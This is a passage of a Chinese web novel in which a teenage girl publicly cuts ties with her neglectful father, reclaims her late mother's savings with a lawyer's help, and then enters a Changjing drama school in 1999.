“我不管做什么,也是为了这个家好啊!” “再说她这性子在家里还好,现在有我替她兜着,以后嫁了人到婆家谁还这么惯着她?与其以后在别人手上受气挨打,不如我磨磨她的性子,结果你看这?她更不服管了,记我仇记了一个多月都不回家!” “我是她亲爸,我能害她吗?这孩子,心肠太冷太硬,只记仇不记恩,太让人失望了!就为了那么一点事,竟然要认别人当爸?可气死我了!” “老霍,等温苒回来你别拦我,我非狠狠教训她狠狠打她一顿让她长记性不可!” 霍青山听得额头青筋纸条,听到这里实在听不下去,重重放下茶杯,沉声送客:“我家要吃饭,就不留你了!” 停在楼梯口的乔丽淑板着脸走过来,甩下一沓收费单,“就这些,一共三千九百七十八!” 温长林惊了,“怎么这么多?温苒没用医保吗?” 乔丽淑翻白眼,“你家的门锁得死死的,小苒又没有钥匙,上哪儿去用拿医保证?” 温长林肉疼地回家拿来四千块钱,耽搁的时间都被他用来摁计算器算账了。 温家可不如霍家家底厚。 霍家两口子都是级别挺高的公务员,还有租金收入。 温长林只是个初中教师,这年头能读完初中的都是少数,他给人补课的收入实在不高,而且他大部分都存起来预备养老花用。 至于董秀英,她是个全职家庭主妇,根本没有收入。 这些年家里花的钱都是温苒母亲的积蓄,这四千块钱一拿,积蓄就彻底空了。 给了钱,吃饭的时候温长林宣布:“家里最近困难,零花钱砍半,衣服什么的都够穿就先别买了,其他没用的开销也都能省则省。” 董秀英三人吃惊地抬头,发生了什么怎么就困难了之前不还好好的吗? 饭后,文雪跺着脚发作不满,“妈!我去考试人家同学穿的都是大牌子,就我,就我穿的街边百十来块钱的杂牌衣服!人家看我的眼神跟看街边的乞丐一样,现在我连新衣服都买不起,以后怎么跟她们做同学?” 文冬也是一脸烦躁,“妈,我跟同学约好寒假去网吧打游戏,到时候带上新款游戏机大家联机玩,就我带淘汰的款式去,他们都看不起我,以后肯定不带我玩!” 董秀英忙安慰姐弟俩,“没事,妈这里有点钱,待会儿妈拿给你们。小雪你是大学生了是得穿好点,挑几件大牌子的出去撑脸面。小冬,你得跟你同学打好关系,大方点多请人家吃东西,千万别心疼钱!” 哄好两个孩子,董秀英皱着眉上楼。 之前在长京她和温长林急赤白脸吵了一架,还动了手,闹得很不愉快。 那是结婚以来两人第一次红脸。 董秀英梗着脖子一直不低头,就等温长林先递台阶。 这么多年她平时对温长林温柔小意,表面看是她捧着温长林,实则是她在拿捏温长林,让温长林对她言听计从! 她才是两人中占主导的那个! 董秀英当然不愿意低头! 而且这是两人第一次动手,闹得这么大如果她先低头,往后就再也抬不起头来了。 长京市,温苒收到了三所大学的电话,分别是中心影视学院第一名、长京戏剧学院第一名和长京军队艺术学院第三名。 杜凌看她的眼神满是羡慕,“都是前三名!温苒你可以啊!我就说你肯定能行!” 杜妈高兴地削苹果,“杜凌三所大学的名次也很安全,你们仨赶紧商量商量挑哪所大学!” 霍骁北的长京戏剧学院名次最稳,中心影视学院只排在十一名。 “选戏剧学院,选这个,我这个名次也最高。” 杜凌当先说道。 温苒没什么好选的,他们两个都选戏剧学院,她也不想和霍骁北分开,不然以后早餐谁给她送啊? 名次下来后,一行人踏上返程,刚好赶上一中的期末考。 温苒比照原主上一次的成绩,往上多了三十分。 霍骁北比照他上一次的成绩,往上多了二十分。 拿到成绩单回家,高兴地霍青山和乔丽淑又合不上嘴了。 “行,忙了这段时间你俩好好松快松快,看电影游乐场同学聚会什么的都去一去。” 乔丽淑说着说着一拍手,“对了!咱是不是该买台电脑了?” 乔丽淑提这个,主要是因为隔壁。 隔壁温长林给文冬买了一台电脑。 董秀英到底是先低了头,没办法,她没钱,她也赚不了钱,她俩孩子还得花钱,她只能花大力气哄好温长林。 办法很简单,董秀英让文冬改了姓,改成温冬。 一心想要挽回女儿孝顺之心的温长林,转眼就将其抛之脑后,甚至后悔起来给出去的四千块钱。 霍青山两口子愿意当冤大头就当嘛,又不是他要求的,他上赶着做什么? 温苒和霍骁北今天逛书店去网吧,还去接了一份兼职,半下午时买菜回家做饭。 拐进胡同,温苒就见温家门前温长林挺胸抬头一脸骄傲。 对方望过来,跟随着她的视线带着不屑和不满。 温苒:“???” 是她许久没泼辣了就以为她拿不动刀了吗? 回霍家放下东西,温苒拽着霍骁北就来了隔壁。 温长林正愁怎么把文冬改姓的事情透露出去,好杀一杀温苒的威风,让她别仗着是自己唯一的种就无法无天呢,她这就主动送上门了。 温长林背着手,矜持笑着:“你来的正好,你——” 话还没说完就被打断,“给钱!” 温苒手心朝上,中气十足理直气壮地要钱。 温长林懵了下,反应过来掏出手指着温苒,大声呵斥道:“你还有脸要钱?你不是说要把监护权转给你堂舅?你不是说不认我这个当爸的了?你有点志气就别手心朝上朝我要钱!” 他眼神在两人身上转悠,冷笑,“我看你小小年纪就知道给自己找婆家了,要钱去霍家要!” 被他这么说温苒也不气,依旧笑盈盈地摊着手心,“温先生,你好歹是个初中老师,平时也自诩文化人,怎么连一点法律常识都不懂?抚养我是你的义务,不是看你心情,懂吗?” 温长林两眼冒火,“就你那破成绩用得着你来教我?不想认我这个爸就赶紧去找你堂舅,让他抚养你,我倒要看看他愿不愿意白养一个赔钱货?” 温苒收回手,背在身后,严肃地点了点头,“温先生说的对,不过我去找堂舅肯定不能只有自己去,还要带上我妈妈留给我的东西,你说呢温先生?” 温长林眼前闪过一张存款不足三位数的存折,再想想前妻乡下那一群蛮横无理的亲戚们,脑门上的汗唰一下就冒出来了。 “你胡说什么呢?你妈哪里给你留了东西?你妈当年生病把家底都给耗空了,这么些年都是我在赚钱供你吃供你喝供你上学,你个狼心狗肺的东西!” 温苒冷冷看他一眼,拽着霍骁北转身就往外走,“那好吧,有困难找警察叔叔,我得告诉警察叔叔我现在遇到了大麻烦!要她们为我做主才行!” 温长林眼前闪过存折的所有人登记栏:温苒,腿一下子就软了。 偏偏温苒还在叽叽喳喳地说话:“居委会的阿姨叔伯们也得请过来,温先生单位的同事领导我也要去问一问,听说报社和电视台对提供新闻也有奖励呢!” 警察、居委会、单位、报社和电视台…… 温长林害怕地吞了吞口水,连忙伸手阻拦,“别!爸爸记错了,你妈妈确实给你留了东西,我这不是怕你年纪小不懂事,被别有所图的人给哄走吗?” 说着,温长林意有所指地瞥了眼霍骁北。 霍骁北抬眸望回去,冷冷道:“温叔叔何必这么说自己?” 温长林反应了好半天才 明白过来,气得跳脚指着他骂:“你就是这么对待长辈的?你们霍家的教养就是这样?我非得好好跟你爸妈说说,让他们好好教训你!” 温苒挥手打断他,手心朝上提醒:“温先生,钱!” 她强调:“还有我妈妈留给我的东西。” 温长林心说,你妈一共就留了一万小几千,早就花完了。 要他一下拿出这么多钱,除非杀了他! 温长林于是道:“你想和我撇清父女关系,我答应你,你先把这些年花我的钱还回来,除开这部分我再把你妈的存款还给你。” 温苒一听这话就猜到了真相的七七八八。 钱么他肯定花得差不多了,但没关系,跟钱比起来这可是个解除父女关系的好机会啊! 她想也不想就点头,“当然!不过你稍等,我需要把我堂舅请来,还要请居委会的人过来见证,最后再请一位律师。” 温长林只是随口一说,万万没想到温苒连一秒的犹豫都没有就答应下来?! 他涨红了脸,梗着脖子从牙缝里挤出来话:“那你动作快点,我时间有限,还得去给学生补课呢!” 温苒敷衍点头,“你放心,年前肯定能办成,今年春节就是喜上加喜。” 说完她欢欢喜喜拉着霍骁北离开。 大过年的断绝父女关系,把这事和霍骁北爸妈一说,还以为他俩会反对呢,结果只是稍稍犹豫了几秒,就毫不犹豫地选择支持温苒。 霍青山道:“别急,律师我帮你找,给你找个有本事的。” 乔丽淑也道:“让你堂舅来的时候带上家人,到时候住咱家,好好带他们玩几天!” 居委会那边却炸开了锅,一个个都劝温苒别瞎盘算,还有指责温长林偏心眼的,更有说温苒不懂事应该多担待一些,但温苒只道:“温长林的继子文冬改了姓氏,现在是温冬,他有了儿子,想和我断绝关系。” 众人哑口无言。 妈哎,闻所未闻见所未见,哪有为了继子不要亲女儿的? 第62章 第62章千禧年影后5 居委会尽是闲着的大爷大妈,事情到了她们那里就没有秘密一说。 不过一顿饭的功夫,温长林给继子改姓,要和温苒断绝关系的事就传遍了附近街道。 同时前后两件事还被冠之以因果关系。 新闻联播都没这新鲜。 改姓和断亲一事迅速登顶街道热搜。 每个大街小巷,每个人见了面,问候语都从‘吃了吗’变更为‘听说了吗’? “我早就说了,那个小董不简单,瞧那个黏糊糊的样儿?” “老温也是糊涂,就算改了姓,那不是亲的就不是亲的!” “我以前还说董秀英这个后妈当得好,我真是瞎了眼了,这人啊精明着呢,心眼都藏得严严实实,一说就是后妈难做继女霸道不懂事,她可真是清清白白!” “要我说,温苒那姑娘性子霸道是个好事,你瞅瞅老温叫董秀英笼络的,都要跟她断绝关系了?亲爸变后爸,她一个小丫头能咋办?” “嚯!那你可说差了,温苒那姑娘性子随了她妈,她妈就泼辣得很!” 街头巷尾议论纷纷,话风一面倒,毫无例外都是心疼温苒指责温长林和董秀英。 这么明显的氛围,温长林和董秀英自然也感受到了。 温长林上下班路上,总是能收到凑堆儿闲话的妇女的鄙夷眼神,也有单纯看热闹的看他就和看动物园里的大猩猩一样。 董秀英的感受就更明显,她是全职家庭主妇,胡同的街坊邻居四处串门到温家来,你一言我一语的都挤兑到她下巴坎儿上了。 初初听说温长林要和温苒断绝关系,董秀英那叫一个高兴,可后来被人指着鼻子骂恶毒刻薄蛇蝎心肠,她就再也笑不出来了。 一个好名声是那么容易就经营出来的吗? 结果因为温苒那死丫头,她几年的努力功亏一篑。 彻底白干! 董秀英尝试跟大家解释:“你们误会了!不是我家老温想跟温苒断绝关系,是温苒主动和我们老温断绝关系!” “她大了心思早就飞出去了,看不上我们老温,就自己找了个高枝去攀!” “你们不信去问问街坊四邻,温苒早就跟隔壁老霍家的小子看对眼了,往隔壁一住就是两个多月,东西也早就收拾过去了,我们老温怎么劝都不听,嫌丢脸给了四千块钱就不管了。” 大家将信将疑,实在是断绝父女关系这事太过震撼。 毕竟都是街坊,她们眼瞧着温家这日子过的也没有到两天一吵三天一架的程度,怎么也想不明白,发生了什么就到了断绝关系老死不相往来的地步? 董秀英一番话,加上温苒确实住在霍家俩月这个不争的事实,让她把风向拉回了一点。 但不多。 还是那句话,温苒才十六岁,她妈妈那边的亲戚关系最近的是乡下一个堂舅,除开温长林这个亲爸,她一个还在上学花钱的小姑娘属实算得上无亲无故。 就问,这孩子又不是傻了,干啥想不开主动跟亲爸断绝关系? 就问,就算是孩子主动的,孩子又不是傻了,要不是受了天大的委屈,至于走到断绝关系这一步吗? 虽然讨论这件事的都是当了爸妈甚至连孙辈儿都有了的,涉及到家庭伦理时,他们天然的会站在父母那边,但温家这情况不一样啊,温家是重组家庭啊! 激烈的讨论中,万众瞩目的断亲现场到来。 律师、派出所警察、妇联工作人员、居委会的大爷大妈,以及温苒和温苒的堂舅,和温家一家四口。 人到齐,温长林沉着脸用力拍桌,率先发难话锋直指温苒:“这些天你在外头胡言乱语,污蔑我和你董姨虐待你,你就这么见不得家里好吗?” 温苒无辜眨眼,“我怎么不知道我在外面说了你们两个的坏话?再说这家里好不好跟我有什么关系?家里好了没见过我得了好,家里不好了你倒是知道冲我来?” 当着这么多人的面,温苒一点面子没给温长林留。 温长林脸色青青白白变换,精彩极了。 他拍桌而起,怒喝:“温苒!你就是这么跟你爸说话的?我就是这么教你的?没有教养!” 温苒在心里失望地摇头,从来理亏的父母对摆脱掌控的孩子都是这一套说话,都听腻了。 温苒扬起头,冲在场人微笑,嗓音清脆昂扬:“在这里我要纠正温长林的一句话,他没教过我。” 在场人瞪大了眼,温长林也瞪大了眼,难以置信大吼:“温苒!!!” 温苒依旧微笑,“我妈妈没过世之前,是妈妈教我。妈妈过世以后温长林再婚,幸好,他更没空教我。” ‘幸好’两个字,被她刻意咬重。 其他人:“……” 伤害性极强,侮辱性极大。 被专门请来打嘴仗的律师沉默,他感觉有这姑娘在,他这次拿钱可以很轻松。 温长林气得拍桌子,跟猩猩一样吼来吼去,“温苒!” 温苒不搭理他,手下败将而已,她清了清嗓子,拿出事先准备好的喇叭,打开,然后说道:“开始吧!” 堂舅默默垂下眼睛,落在自己手里那只同款喇叭上,就很一言难尽。 吵架用喇叭他真第一次见,就是乡下骂仗也没见过用喇叭的,这简直是大杀器啊! 断亲的第一件事:清算账单。 温长林抠门,没请律师,他撸起袖子自己上。 “温苒今年十六岁,从小到大的书本学费、舞蹈班费用、衣服、零花钱、吃 的用的哪样花的都是家里钱,一年算上三千块钱还是往少了算的!” 律师淡定地推了推眼镜,“请问,我的委托人母亲过世前,是否是其母独自承担抚养她的费用?” 居委会和派出所警察齐齐扭头望向温长林,温长林不自然地抖了抖眉,眼神乱飘,缩着脖子支支吾吾。 嚯! 这是心虚吧? 难不成真让律师说对了? 我的天! 温长林压根儿就没养过孩子,一直是温苒妈赚钱养孩子,你一个大男人你连养孩子的钱你都出不起,你还敢口口声声这爹那爸的,你脸呢? 脸呢?!! 律师看了眼温苒,小姑娘漂亮稚嫩的脸上面无表情,显然是知道亲爸什么德性,早就无动于衷了。 可怜孩子! 在场人不约而同给温苒身上贴上这样一个标签。 律师皱着眉头,继续说:“据我委托人的堂舅所说,委托人刚生下来时,温长林先生的母亲因为对其性别不满,曾将孩子抱走送人。” 派出所警察神情严肃起来,计划生育政策实行之后,抱孩子送人这种事屡见不鲜,但老百姓不清楚他们却清楚,这是另一种意义上的拐卖! 律师说道:“温长林先生,您对您母亲的行为是认同的,您对委托人的性别也不满意,这导致您拒绝承担抚养义务,不论是情感上还是物质上。” 温长林摘下眼镜,抬手频频抹汗。 他确实不满意温苒是个没把儿的,前妻还活着的时候都是前妻在养孩子,他的工资都攒起来留给和董秀英未出世的儿子了。 律师继续道:“据委托人和委托人的堂舅以及委托人母亲的同事和好友互相印证,委托人的母亲过世前曾给委托人留下一笔存款,存款所在存折的所有人是我的委托人,可否请温长林先生现场出示?” 温长林抿着嘴没说话,也没动作。 温苒知道他为什么不说话不动弹。 这个年代和后世不同,后世网络支付发达,花钱输个密码摁个手指就行。 现在取钱只能去银行,若要是存折还只能去柜台取钱,存钱取钱记录会在存折本上一笔一笔打印下来,无可抵赖。 温长林现在这个反应,只能证明上面的流水记录太难看。 换言之,他只取过钱,从没存过钱,甚至留下来的存款数字也相当丢人。 这个场合,虽然董秀英和文冬文雪姐弟都在,但娘仨儿有致一同地低头不说话,把明哲保身四个字发挥的淋漓尽致。 然而温苒可不会放过她们,董秀英这些年对温苒明里暗里的软刀子从来没停过,文雪的小手段也是一茬一茬的,最过分的就是文冬,把原主推下楼梯。 温苒敲敲桌子吸引大家的目光,笑盈盈说道:“温长林先生是不是把钱都用来给你的新儿子温冬买电脑了?还是给文雪这个贴心的继女买衣服花光了?或者是都交给了董秀英女士?” 董秀英当即抬头否认,“没有的事,小苒你可别瞎说话。” 她面上笑着,语气却带着咬牙切齿,心里也在恨得滴血。 “哦。”温苒凉凉瞥了她一眼,不耐烦道:“所以能把我母亲的存折还给我吗?不行的话,正好有警察叔叔在场。” 说着她一脸惋惜地摇头,“这么大的场合应该再请个记者的,不过没关系,事后去请也不是不可以。” 律师顺着温苒的话继续说:“如果温先生执意拒绝出示,我想可能需要更强硬的手段,我会尽快向法院提交诉讼。” 温长林急了,“不用,我现在去拿。” 他怎么说也是个为人师表的老师,真让温苒不痛快了,她豁出去闹到他单位他连工作都能丢。 温长林上楼拿存折,黑着脸扔给温苒。 温苒打开看了眼,然后默默塞给了堂舅,堂舅看了眼两眼冒火,拍着桌子吼道:“温长林你要不要脸?我堂妹留下一万六你都花光了一分钱都没剩?!” 居委会大妈过来抢着看,“让我看看让我看看!我天!真一毛都没剩!” 温长林如坐针毡,臊红了脸,汗如雨下,还试图为自己狡辩:“那温苒吃喝上学不要钱吗?” 居委会大妈不客气地呸回去,“那温苒不是你姑娘啊?你们那会儿可还没说断绝关系呢!温长林啊温长林,邻里邻居瞧着你人模人样的,没想到这么无情冷血?” 温苒举起喇叭,“温长林,你确定这一万六都花在我身上了吗?要我一笔笔和你算吗?舞蹈班的老师是我妈妈的同事,妈妈过世后你就停了我的学费,阿姨心疼我让我免费上课。” “学费书本费次次都是我伸手朝你要你才给,零花钱没有一次准时全额,文雪文冬一年四季的衣服多到随手扔,之前我最贵的一件衣服是舞蹈班的阿姨送我的,就连吃饭都是有上顿没下顿去隔壁乔阿姨家才能吃饱,所以你能解释解释这一万六千块钱花在了谁身上吗?” 反正不会花在了温苒身上。 这是在场人所有的想法。 董秀英开始坐立难安起来,文雪文冬姐弟也不例外。 她们以为花的都是温长林的钱,哪想竟然是温苒她妈的积蓄? 而且还被温苒当着这么多人的面捅出来,恐怕今天过后,整个城中村的人都知道了! 文雪拧着手,害怕地舔了舔嘴唇,她就怕温苒把这事拿到学校去说,一中也就罢了,万一、万一舞蹈学院的同学也知道了,她就完了! 文冬和他姐的想法如出一辙,正是青春期自尊心强的时候,改姓的事他就不愿意,一直跟同学藏着掖着不敢说呢! 再要是让那些跟他不对付的知道,他新款游戏机、电脑还有球鞋的钱都是花的温苒她妈的钱,他要被嘲笑死,在学校里再也抬不起头来了! 温长林在脑子里翻找,终于让他找到一件能翻身的事情。 “你还敢说?你之前受伤的医药费是谁掏的?整整四千块!” 董秀英心里一个咯噔,有种不好的预感。 温苒就等他这句话呢,举起喇叭回他:“在这里我要强调两件事。” “第一,是温长林先生的新儿子温冬把我从楼梯上推下来,导致我受伤错过考试,并因此再不能跳舞,我要求温长林先生代你儿子温冬向我赔偿损失!” “另外,此事全权交由我的律师。” “第二,温长林先生所说的四千块钱,没猜错的话也是出自我母亲留下的存折吧?那么我请问,你哪来的脸说跟你有关系的?” 温长林是不是还想凭空白拿四千块钱啊? 他脸那么大怎么不去盖个小区呢? 温长林哑口无言。 接下来是温苒律师的主场。 第一,向他的委托人温苒交还存折及存款一万六千元…… 第二,向他的委托人温苒道歉,并支付医药费四千元,以及各方面损失五千元。 总计两万五千元。 如果不还,温苒再次举起喇叭,“我会委托温长林先生的同事及领导监督你的。” 温长林还要脸要工作呢,当天就狂奔去银行取钱结账。 最后是一份断亲文书,当然这不具备法律意义,但却必不可少。 真正意味着二者失去父女关系的,是堂舅堂舅母同意收养温苒。 走完流程,堂舅堂舅母带孩子在城里玩了两天。 临走前,堂舅叫走温苒,“孩子,咱家帮不了你啥,你也不用帮咱家啥,咱还跟以前一样当亲戚处着,不过你要是有了困难可千万别憋着,堂妹就你这么一个孩子,舅也想你过得好。” “今年来不及了,改年你有空了,回咱家瞧瞧。” 堂舅母也偷偷拉走温苒,往她兜里塞了卷红布,“姑娘,你还叫我舅母就成,这是今年的压岁钱,咱们也有几年没见了,从前你在那家里过得苦,往后可要对自己好点儿。” “你家这邻居我瞧着人挺好,你住人家里勤快点懂点眼色,回头赚了钱出息了别忘了人家,知道吗?” 腊月二十,堂舅一家坐大巴 车回了乡下小县城。 她们走得早,天还没亮就走了,温苒没赶得及送,不过她早就在行李里放了对两位长辈的谢礼。 她和霍骁北通过杜凌父母的关系接了几则翻译工作,目前也攒了一笔钱。 华国人口众多是潜力巨大的市场,外企进入华国后,一线大企吃肉,二三线城市的小公司蹭点汤吃几个小单子再常见不过。 这年头懂外语的少,精通的就更少,专业精通的少之又少,是以对方开的报酬相当有诚意,验过稿件水平后起步的千字就是五十块。 杜凌父母知道价格不禁震惊咂舌,“这就是别人家孩子!” 再瞅瞅自家这个,只知道带着妹妹吃喝玩乐。 看不惯杜凌这么开心,杜父开始赶人,“校考过了还有文化课考试呢,去去去,找小苒和骁北你们仨凑堆儿复习去,别整天无所事事游手好闲。” 杜凌:“……” 杜凌被丢上车,司机油门一踩就到了霍家。 霍青山和乔丽淑已经放了假,瞧见孩子同学上门,热情地把人迎进来。 “她俩在楼上玩电脑呢,你也快去,阿姨给你们切水果,待会儿咱们炖鱼吃!” 杜凌瞬间原地复活,好听话一箩筐往外倒,“阿姨您对我真好,比我爸妈对我还好!” 楼上,温苒十指在键盘上飞舞。 系统零件在手,经过她的改装,这台大肚子电脑只是外表其貌不扬,实则能跟二十年后的电脑掰手腕。 有了电脑唯一的好处,就是翻译工作的速度更快。 算算账,两人大学的学杂费、租房买房就是一笔庞大的开销。 买房不能只买一处吧? 这年头房价这么便宜,买它个三五套收租,吃穿都不愁了。 不过她们得开公司拍电影电视剧,三五套哪够用,所以要攒钱!攒钱!攒多多的钱! 杜凌敲门进来,温苒停下打字,霍骁北停止刷卷子,齐齐转头盯着门口。 杜凌:“……” 杜凌硬着头皮进来,压低声音:“你们吵架了?” 温苒:“?” 怎么看出来的? 杜凌小心翼翼过去坐下,“我看你们俩背对背,气氛安静,还以为你们俩闹别扭了?” 温苒摇头,“没有,你来早了,我还有两份说明书没翻译完呢。” 杜凌摆手,“我不是为这个来的,我爸让我过来找你们复习,阿姨让我上来找你们玩电脑,所以咱们是玩游戏还是看电影?” 温苒把书丢给他,“你还是复习吧。” 霍骁北抽出一沓卷子,“写完互相判卷。” 杜凌:“……” 今年的新年霍家过得热热闹闹,相较而言隔壁就很冷清了。 年夜饭就着春晚,乔丽淑偷偷跟温苒说道:“他们回了你爸的老家,说是要给温冬上族谱。” 当然,还要把温苒从族谱上划去。 温苒觉得甚好。 年后初六,高三生就被勒令提前返校补课。 经过一个寒假的安排,高一高二的班级合并压缩,空出来的教室统一让复读生搬进去。 走廊上变清净了。 高三最后一个学期最匆忙最充实,每次月考同桌三人的进步都是肉眼可见。 三次模拟考后,温苒的分数稳定在了五百八十分,霍骁北稳定在了六百三十分,杜凌稳定在了五百三十分上。 本省的本科线不低,前两年都在五百二十分往上。 杜凌的分数很危险,不过他一脸不在乎,“今年扩招啊,本科线肯定会降的。” 高考前,霍青山和乔丽淑专门请假,亲自准备饭菜,并且车接车送。 路过隔壁时,温苒坐在车里都能听到温长林大声的炫耀:“咱家小雪在考场附近订了酒店,吃的也是专门定制的营养餐,考试一定没问题!” 温苒点头,这个后爸当的属实不错。 到了考场,霍青山叮嘱俩人,“发下卷子先检查有无缺页,再写名字,名字和考号一定不能忘了写!” 乔丽淑鼓气,“认真点,就差临门一脚了!” 高考对两人来说易如反掌,温苒控分小达人比三模高了十分,霍骁北和三模一样的分数。 考完估分,杜凌不蹦哒了,过来找俩人,抱头崩溃道:“完了完了,万一我考不过怎么办?” 温苒看着他,“学弟,别气馁啊,你还年轻。” 杜凌睁大眼,指着她看向霍骁北,“你管管你女朋友!” 霍骁北摆弄着从系统里拿出来的DV,头也不抬:“我都听温苒的。” 杜凌:“……” 只能说,幸好杜凌最后还是同学不是学弟。 分数一下来,隔壁温家就炸了。 真炸。 温长林买了十挂鞭炮,挂在门口庆祝文雪考上长京舞蹈学院。 杜凌探着脑袋,“考上算什么,我听说文雪跳得也不怎么样,她跟同学竞争机会毫无优势啊!” 温苒叫他回来,“可能今年舞蹈学院的整体素质都一般吧。” 杜凌默了默,“你嘴好毒。” 温苒无奈,“我只是实话实说,我们跟她的情况差不多,每年毕业那么多演员,有人能拍电影有人只能拍电视剧,有人可能都没戏拍。” 杜凌听见这话支棱起来,“你说的有道理啊!每年有名的制片厂和剧院就只招几个人,我们进不去就没戏拍啊!” 国内私募影视的发展还处在萌芽中,当下只有拥有电影摄制许可证的国有单位才可以拍电影。 私人投资拍摄的叫做地下电影,并不合规,也不能在国内上映。 电视剧则比较宽松,民营企业屡屡投资电视剧行业。 杜凌转而道:“没关系,到时候我说服我爸投资,骁北当导演,我男主角,小苒你女主角,咱自己拍电视剧!” 温苒:“……” 见识了,原来这就是带资进组,准确来说是自己攒个局捧自己! 暑假过半,三人一商量,收拾好行李提前去了长京。 “我爸找人问过了,这个小区环境好,还在咱们学校附近,住这里的多是附近大学的教授老师,虽然贵了点,但很值!” 三人停在杏林小区,杜凌指着小区门口说道。 攒了半年身负十五万巨款的温苒两眼放光,“好!就买这里!” 第63章 第63章千禧年影后6 99年长京市的房价低得吓人,戏剧学院附近的小区每平仅仅一千三百块钱,一百五十平的大户型全款才不到二十万! 虽然温苒并没有二十万,也买不起一百五十平的大房子。 而且买完房装修也要花钱,扣扣搜搜地算下来,她和霍骁北只能买间一百平的先凑合住。 杜凌选了她们对门的房子,美其名曰为了交流学术,实则是为了方便蹭饭。 杜爸派来给他帮忙的秘书被他打发走,这个不知人间疾苦的大少爷,他压根就不知道自己找人装修有多难! 房子装修时,三人就在小区里租房住。 忙完一天装修,饭后杜凌苦哈哈洗碗,放声大嚎:“再给我一次机会我肯定不把人赶走!” 温苒平躺在沙发上消食,霍骁北坐在她脚边,腿上放着电脑,忙活新接的翻译工作。 买房加装修掏空了她们两个的积蓄,现在两人全身上下只有不到五百块钱,再不赚钱真要喝西北风了。 刷好碗杜凌像游魂一样从厨房晃荡出来,“反正我们得读好几年大学呢,平时都住学校,这边的房子随便装俩房间就够了,我其实可不挑了。” 温苒闭着眼丢给他一个苹果,“你先闭嘴。” 杜凌:“……” 杜凌转向霍骁北,桌上的手机这时响了。 霍骁北拿起来接通,杜凌一脸艳羡地望着,“亏死了,早知道我不选电脑选手机了。” 温苒才觉得买这个手机亏死了,足足花了四千七百块钱呢! 等霍骁北挂掉电话,温苒问他:“叔叔阿姨说了什么?” 霍骁北合上电脑,“之前寄给报社的照片和小说稿有回信了,一张照片五十元,小说稿千字四十。” 杜凌比当事人 还高兴,“真的?太好了!请吃饭请吃饭!” 霍骁北写的小说是谍战题材,篇幅只有十五万字,周报每次连载一万字,预计三个月更完结局。 后期反馈不错的话,通常报社还会发一笔稿费。 八月底,长京戏剧学院开学。 房子装修好正在晾着通风,半上午时三人离开出租屋,溜达着来学校报道。 第一天报道的人数最多,负责迎新的是大二大三级的学姐学长。 人数比想象中少得多。 据班主任邢玉洁介绍:“我是咱们99级话剧表演班的班主任,咱班今年一共十二个学生,女六男六。” “是温苒啊,咱们考试的时候见过,你表演得很不错,老师最记得你。你专业考试和文化课考试都是咱们班第一名,来,这是你学生证,拿好。” 温苒接过学生证,接着办理了转户手续,杜凌才上前,“老师老师,我也过来考试了,您记得我吗?” 邢玉洁捂嘴哈哈笑,“你个皮猴儿,我当然知道你也来考试了!” 办完手续,她点了几个学生带温苒和杜凌去宿舍。 邢玉洁叮嘱俩人:“都是四人寝三人间,晚上我会去查寝,到时候都得在啊,我要开会交代重要事情!” 走在路上,杜凌小声跟温苒嘀咕,“不是说扩招么,怎么咱们还是一个班十二个学生?” 温苒觉得挺合理,学生少老师的精力才不会被分散得厉害。 “表演是小众专业,听说也是小班教学,第一年扩招应该没来得及呢。” 男女寝一个在南一个在北,半路上两拨人就分开了。 寝楼没有电梯,但不幸中的万幸,温苒的寝室在三楼。 学姐孟禾在读大二,“咱们住同一层,你是你们班倒数第二个报道的女生,也是你们寝最后一个。” “喏,317。” 门没有合严,传出来的动静似乎很热闹。 孟禾敲了两下门,里面话音停下,脚步声匆匆靠近,唰一下门从里打开。 一个短发高挑女生探出头来,眼神扫过门口两人,一脸欣喜:“学姐!还有温苒!” 孟禾诧异,“你俩认识?” 短发女生摇摇头,笑着把两人迎进来,“考试的时候认识的,我和温苒在一组表演小品。同一组的男生那叫一个霸道,恨不得我们都当他的陪衬,温苒哐哐两句给对方说懵了,然后重新带我们编了段剧情。” 孟禾给温苒让路,“我就不进去了,我那边还有点事,你们聊。” 温苒被短发女生拽进寝室,高兴地向大家介绍,“快看快看谁来了?” 房间里还有三个人,齐齐转头盯过来。 一身红裙染了发的女生直接道:“温苒啊!我又不是聋了,早就听你在门口嗷嗷嚎了,海阳你是不是傻?” 海阳嘿嘿笑着,拉着温苒过去坐,“刚才说话的这个大姐是许虹,腼腆妹子是刘蓉蓉,她俩跟你一间寝室。” 刘蓉蓉冲温苒笑了笑,“你好,我叫刘蓉蓉,我是苏杭人。” 许虹先对海洋翻了个白眼,才朝温苒笑,“许虹,长京人,我家在海军大院。” 海阳又指另一旁一直安静的女生,“和我一个寝室,周可,秦西人。” 互相认识后,海阳伸着脖子找了一圈,“哎,温苒你行李呢?” 温苒在啃刘蓉蓉塞给她的地瓜干,“我来得早,在附近小区租了房子,行李都还在那边。” 许虹侧目,“你一个人租安全吗?” 温苒摇头,“不是我一个人,和咱班同学杜凌,还有我男朋友一起租的。” 啥? 谁? 男朋友? 众人唰地抬头,唰地扭头,“你有男朋友了?” 许虹拽着温苒,“我帮班任整理过学生名单,我记得你才十六岁,你就有男朋友了?” 温苒纠正,“我十七了。” 许虹拍了下她手臂,“哎呀,周岁周岁。” 那好吧,温苒只好说道:“他也才十八岁。” 其他人瞪眼,重点是这个吗?重点是这么漂亮一姑娘就名花有主了! 安安静静的周可悄悄挪着椅子凑过来,“你男朋友也是咱们学校的吗?” 温苒点头,“他是导演系的学生,和我们一级。” 海阳震惊后仰,“嚯!你俩一个演员一个导演,回头自个家里能排一出戏了都!” 聊了会儿天到了中午饭点,许虹拍拍裙子起来,“走,姐们儿请你们去食堂吃饭!” 锁好寝室,一行五人浩浩荡荡去了二食堂顶楼。 “这边是私房菜,价格听说不便宜呢。”海阳四下张望。 许虹倒水涮碗筷,“吃你的就行,我差这点儿钱吗?” 刘蓉蓉拧着手,清秀的脸蛋红红的,“要不我们都出一部分吧,就、就当作聚餐了。” 海阳看向周可,周可圆圆的脸上笑了笑,“我同意。” 海阳看向温苒,温苒点了点头,海阳也马上说道:“那咱们都同意,许虹你先刷饭卡,回头我们把钱都给你。” 许虹无可无不可地点了点头,“都行。” 温苒看了一圈,“咱们这样没问题吗?班任说班上一共六个女生,剩下那个还没来,我们不带她是不是不好?” 海阳愣了下,表情很有些一言难尽。 许虹一手托着下巴,抿了口茶道:“不用等范宜然,军训结束后你才能看到她,人家跟咱不是一路人。” 温苒不解,海阳凑过去小声跟她解释:“她是咱们班专业第二名,她吧,她……” 海阳欲言又止止言又欲,“她男朋友挺不一般的,你也知道长京是首都,在这地界称得上不一般的都……” 她说得含含糊糊,温苒有点懂,又有点不懂。 